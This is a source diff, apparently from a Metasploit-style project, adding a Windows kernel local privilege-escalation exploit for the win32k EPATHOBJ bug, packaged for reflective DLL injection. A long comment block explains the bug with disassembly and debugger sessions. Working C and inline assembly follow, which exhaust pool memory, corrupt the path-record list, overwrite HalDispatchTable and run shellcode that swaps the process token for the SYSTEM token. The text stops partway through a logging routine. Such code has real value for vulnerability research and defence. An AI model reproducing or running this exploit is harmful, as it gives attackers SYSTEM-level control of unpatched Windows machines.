// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
@@ -25,16 +25,14 @@
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
+801
View File
@@ -0,0 +1,801 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "ComplexPath.h"
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// ----------------------------------------- taviso@cmpxchg8b.com -----
//
// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
// PATHRECORD **pppr,
// ULONG *pcMax,
// ULONG cNeeded)
// .text:BFA122CA mov esi, [ebp+ppr]
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
// .text:BFA122D0 push edi
// .text:BFA122D1 mov edi, [ebp+pprNew]
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
// .text:BFA122DA xor edx, edx
// .text:BFA122DC mov [eax], edx
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
// .text:BFA122E1 and ecx, not (PD_BEZIER)
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
// .text:BFA122ED jnz short loc_BFA122F7
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
//
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
// .text:BF9160D7 xor esi, esi
// .text:BF9160DE push esi
// .text:BF9160DF push esi
// .text:BF9160E0 push [ebp+tag]
// .text:BF9160E3 push [ebp+size]
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
// .text:BF9160EB mov esi, eax
// .text:BF9160ED test esi, esi
// .text:BF9160EF jz short loc_BF9160FF
// .text:BF9160F1 push [ebp+size] ; size_t
// .text:BF9160F4 push 0 ; int
// .text:BF9160F6 push esi ; void *
// .text:BF9160F7 call _memset
//
// However, the PATHALLOC allocator includes it's own freelist implementation, and
// if that codepath can satisfy a request the memory isn't zeroed and returned
// directly to the caller. This effectively means that we can add our own objects
// to the PATHRECORD chain.
//
// We can force this behaviour under memory pressure relatively easily, I just
// spam HRGN objects until they start failing. This isn't super reliable, but it's
// good enough for testing.
//
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// // failure. Seriously, do some damn QA Microsoft, wtf.
// for (Size = 1 << 26; Size; Size >>= 1) {
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
// ;
// }
//
// Adding user controlled blocks to the freelist is a little trickier, but I've
// found that flattening large lists of bezier curves added with PolyDraw() can
// accomplish this reliably. The code to do this is something along the lines of:
//
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
// Points[PointNum].x = 0x41414141 >> 4;
// Points[PointNum].y = 0x41414141 >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
// BeginPath(Device);
// PolyDraw(Device, Points, PointTypes, PointNum);
// EndPath(Device);
// FlattenPath(Device);
// FlattenPath(Device);
// EndPath(Device);
// }
//
// We can verify this is working by putting a breakpoint after newpathrec, and
// verifying the buffer is filled with recognisable values when it returns:
//
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
// 95c922bd 83f801 cmp eax,1
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
// 95c922c2 33c0 xor eax,eax
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
// 95c922c9 56 push esi
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
// kd> g
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
//
// The breakpoint dumps the first dword of the returned buffer, which matches the
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
// easily break the list traversal in bFlattten():
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// EPATHOBJ *pathobj; // esi@1
// PATHOBJ *ppath; // eax@1
// BOOL result; // eax@2
// PATHRECORD *ppr; // eax@3
//
// pathobj = this;
// ppath = this->ppath;
// if ( ppath )
// {
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// if ( !ppr )
// goto LABEL_2;
// }
// }
// pathobj->fl &= 0xFFFFFFFE;
// result = 1;
// }
// else
// {
// LABEL_2:
// result = 0;
// }
// return result;
// }
//
// All we have to do is allocate our own PATHRECORD structure, and then spam
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
// pointers shifted right by 4 (for this reason the structure must be aligned so
// the bits shifted out are all zero).
//
// We can see this in action by putting a breakpoint in bFlatten when ppr has
// moved into userspace:
//
// kd> u win32k!EPATHOBJ::bFlatten
// win32k!EPATHOBJ::bFlatten:
// 95c92517 8bff mov edi,edi
// 95c92519 56 push esi
// 95c9251a 8bf1 mov esi,ecx
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
// 95c9251f 85c0 test eax,eax
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
// 95c92523 33c0 xor eax,eax
// 95c92525 5e pop esi
// kd> u
// win32k!EPATHOBJ::bFlatten+0xf:
// 95c92526 c3 ret
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
// 95c9252c f6400810 test byte ptr [eax+8],10h
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
// 95c92532 50 push eax
// 95c92533 8bce mov ecx,esi
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
// flags (defined in winddi.h). Let's break if it's in userspace:
//
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
// kd> g
// 95c9252c f6400810 test byte ptr [eax+8],10h
// kd> r
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
// win32k!EPATHOBJ::bFlatten+0x15:
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
//
// The question is how to turn that into code execution? It's obviously trivial to
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
// poses a problem.
//
// Let me demonstrate calling it with my own PATHRECORD:
//
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
// // pathrecord chain.
// PathRecord = VirtualAlloc(NULL,
// sizeof(PATHRECORD),
// MEM_COMMIT | MEM_RESERVE,
// PAGE_EXECUTE_READWRITE);
//
// // Initialise with recognisable debugging values.
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
//
// PathRecord->next = (PVOID)(0x41414141);
// PathRecord->prev = (PVOID)(0x42424242);
//
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// // EPATHOBJ::bFlatten(), do that here.
// PathRecord->flags = PD_BEZIERS;
//
// // Generate a large number of Bezier Curves made up of pointers to our
// // PATHRECORD object.
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
// kd> g
// win32k!EPATHOBJ::pprFlattenRec+0x28:
// 95c922c2 33c0 xor eax,eax
// kd> dd ebp+8 L1
// a3633be0 00130000
//
// The ppr object is in userspace! If we peek at it:
//
// kd> dd poi(ebp+8)
// 00130000 41414141 42424242 00000010 cccccccc
// 00130010 00000000 00000000 00000000 00000000
// 00130020 00000000 00000000 00000000 00000000
// 00130030 00000000 00000000 00000000 00000000
// 00130040 00000000 00000000 00000000 00000000
// 00130050 00000000 00000000 00000000 00000000
// 00130060 00000000 00000000 00000000 00000000
// 00130070 00000000 00000000 00000000 00000000
//
// There's the next and prev pointer.
//
// kd> kvn
// # ChildEBP RetAddr Args to Child
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
//
// The question is how to get PATHALLOC() to succeed under memory pressure so we
// can make this exploitable? I'm quite proud of this list cycle trick,
// here's how to turn it into an arbitrary write.
//
// First, we create a watchdog thread that will patch the list atomically
// when we're ready. This is needed because we can't exploit the bug while
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
// .text:BFA122BD cmp eax, 1 ; Check for failure
// .text:BFA122C0 jz short continue
// .text:BFA122C2 xor eax, eax ; Exit early
// .text:BFA122C4 jmp early_exit
//
// So we create a list node like this:
//
// PathRecord->Next = PathRecord;
// PathRecord->Flags = 0;
//
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// /* ... */
//
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// }
// }
//
// /* ... */
// }
//
// While it's spinning, we clean up in another thread, then patch the thread (we
// can do this, because it's now in userspace) to trigger the exploit. The first
// block of pprFlattenRec does something like this:
//
// if ( pprNew->pprPrev )
// pprNew->pprPrev->pprnext = pprNew;
//
// Let's make that write to 0xCCCCCCCC.
//
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
// {
//
// // This routine waits for a mutex object to timeout, then patches the
// // compromised linked list to point to an exploit. We need to do this.
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
// GetCurrentThreadId(),
// Mutex);
//
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
// // It looks like the main thread is stuck in a call to FlattenPath(),
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// // up, and then patch the list to trigger our exploit.
// while (NumRegion--)
// DeleteObject(Regions[NumRegion]);
//
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
//
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
//
// } else {
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
// }
//
// return 0;
// }
//
// PathRecord->next = PathRecord;
// PathRecord->prev = (PVOID)(0x42424242);
// PathRecord->flags = 0;
//
// ExploitRecord.next = NULL;
// ExploitRecord.prev = 0xCCCCCCCC;
// ExploitRecord.flags = PD_BEZIERS;
//
// Here's the output on Windows 8:
//
// kd> g
// *******************************************************************************
// * *
// * Bugcheck Analysis *
// * *
// *******************************************************************************
//
// Use !analyze -v to get detailed debugging information.
//
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
// *** WARNING: Unable to verify checksum for ComplexPath.exe
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
//
// Followup: MachineOwner
// ---------
//
// nt!RtlpBreakWithStatusInstruction:
// 810f46f4 cc int 3
// kd> kv
// ChildEBP RetAddr Args to Child
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
// kd> .trap a03aba2c
// ErrCode = 00000002
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
// win32k!EPATHOBJ::pprFlattenRec+0x82:
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
// kd> vertarget
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
// Product: WinNt, suite: TerminalServer SingleUserTS
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
// Machine Name:
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
// System Uptime: 0 days 0:02:30.432
// kd> .bugcheck
// Bugcheck code 00000050
// Arguments cccccccc 00000001 8f18972e 00000002
//
// EXPLOITATION
//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//
// INSTRUCTIONS
//
// C:\> cl ComplexPath.c
// C:\> ComplexPath
//
// You might need to run it several times before we get the allocation we need,
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
// to improve that.
//
// CREDIT
//
// Tavis Ormandy <taviso@cmpxchg8b.com>
// progmboy <programmeboy@gmail.com>
//
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
Mask = ~7;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
{
PVOID TargetProcess;
// Record that the exploit completed.
ComplexPathFinished = 1;
// Fix the corrupted HalDispatchTable,
HalDispatchTable[1] = HalQuerySystemInformation;
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
0x200);
}
return 0;
}
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
// Here we wait for the main thread to get stuck inside FlattenPath().
WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
// It looks like we've taken control of the list, and the main thread
// is spinning in EPATHOBJ::bFlatten. We can't continue because
// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
// So first, we clean up and make sure it can allocate memory.
while (ComplexPathNumRegion) DeleteObject(Regions[--ComplexPathNumRegion]);
// Now we switch out the Next pointer for our exploit record. As soon
// as this completes, the main thread will stop spinning and continue
// into EPATHOBJ::pprFlattenRec.
InterlockedExchangePointer(&PathRecord->next,
&ExploitRecord);
return 0;
}
// I use this routine to generate a table of acceptable stub addresses. The
// 0x40 offset is the location of the PULONG parameter to
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
// trick.
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr [ebp+0x40]; // 0
__asm inc ecx
__asm jmp dword ptr [ebp+0x40]; // 1
__asm inc edx
__asm jmp dword ptr [ebp+0x40]; // 2
__asm inc ebx
__asm jmp dword ptr [ebp+0x40]; // 3
__asm inc esi
__asm jmp dword ptr [ebp+0x40]; // 4
__asm inc edi
__asm jmp dword ptr [ebp+0x40]; // 5
__asm dec eax
__asm jmp dword ptr [ebp+0x40]; // 6
__asm dec ecx
__asm jmp dword ptr [ebp+0x40]; // 7
__asm dec edx
__asm jmp dword ptr [ebp+0x40]; // 8
__asm dec ebx
__asm jmp dword ptr [ebp+0x40]; // 9
__asm dec esi
__asm jmp dword ptr [ebp+0x40]; // 10
__asm dec edi
__asm jmp dword ptr [ebp+0x40]; // 11
// Mark end of table.
__asm {
_emit 0
_emit 0
_emit 0
_emit 0
}
}
VOID elevator_complex_path()
{
HANDLE Thread;
HDC Device;
ULONG Size;
ULONG PointNum;
HMODULE KernelHandle;
PULONG DispatchRedirect;
PULONG Interval;
ULONG SavedInterval;
RTL_PROCESS_MODULES ModuleInfo;
LogMessage(L_INFO, "\r--------------------------------------------------\n"
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
"\n");
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
Mutex = CreateMutex(NULL, FALSE, NULL);
DispatchRedirect = (PVOID) HalDispatchRedirect;
Interval = (PULONG) ShellCode;
SavedInterval = Interval[0];
//TargetPid = (PULONG)2032;
TargetPid = (PULONG)GetCurrentProcessId();
LogMessage(L_INFO, "NtQueryIntervalProfile@%p", NtQueryIntervalProfile);
LogMessage(L_INFO, "NtQuerySystemInformation@%p", NtQuerySystemInformation);
// Lookup the address of system modules.
NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof ModuleInfo,
NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
ModuleInfo.Modules[0].FullPathName,
ModuleInfo.Modules[0].ImageBase);
// Lookup some system routines we require.
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
- (ULONG) KernelHandle
+ (ULONG) ModuleInfo.Modules[0].ImageBase;
LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Allocated userspace PATHRECORD@%p", PathRecord);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags = 0;
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
// Now we need to create a PATHRECORD at an address that is also a valid
// x86 instruction, because the pointer will be interpreted as a function.
// I've created a list of candidates in DispatchRedirect.
LogMessage(L_INFO, "Searching for an available stub address...");
// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
*DispatchRedirect & ~(PAGE_SIZE - 1),
GetLastError());
// This page is not available, try the next candidate.
if (!*++DispatchRedirect) {
LogMessage(L_ERROR, "No redirect candidates left, sorry!");
return;
}
}
LogMessage(L_INFO, "Success, ExploitRecordExit@%#0x", *DispatchRedirect);
// This PATHRECORD must terminate the list and recover.
ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next = NULL;
ExploitRecordExit->prev = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;
LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);
LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);
LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);
// This is the second stage PATHRECORD, which causes a fresh PATHRECORD
// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
// be copied over to the new record. Therefore, we get
//
// nt!HalDispatchTable[1] = &ExploitRecordExit.
//
// So we make &ExploitRecordExit a valid sequence of instuctions here.
LogMessage(L_INFO, "ExploitRecord@%#0x", &ExploitRecord);
ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);
LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);
LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);
LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
// Generate a large number of Belier Curves made up of pointers to our
// PATHRECORD object.
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop("DontPanic",
NULL,
NULL,
0,
GENERIC_ALL,
NULL));
// Get a handle to this Desktop.
Device = GetDC(NULL);
// Take ownership of Mutex
WaitForSingleObject(Mutex, INFINITE);
// Spawn a thread to cleanup
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[ComplexPathNumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
ComplexPathNumRegion++;
}
LogMessage(L_INFO, "Allocated %u HRGN objects", ComplexPathNumRegion);
LogMessage(L_INFO, "Flattening curves...");
for (PointNum = MAX_POLYPOINTS; PointNum && !ComplexPathFinished; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
// Test if exploitation succeeded.
NtQueryIntervalProfile(ProfileTotalIssues, Interval);
// Repair any damage.
*Interval = SavedInterval;
EndPath(Device);
}
if (ComplexPathFinished) {
LogMessage(L_INFO, "Success...", ComplexPathFinished);
//ExitProcess(0);
return;
}
// If we reach here, we didn't trigger the condition. Let the other thread know.
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
// Try again...
LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
//ExitProcess(1);
return;
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: dprintf( "[?] %s\n", Buffer); break;
case L_INFO: dprintf( "[+] %s\n", Buffer); break;
case L_WARN: dprintf( "[*] %s\n", Buffer); break;
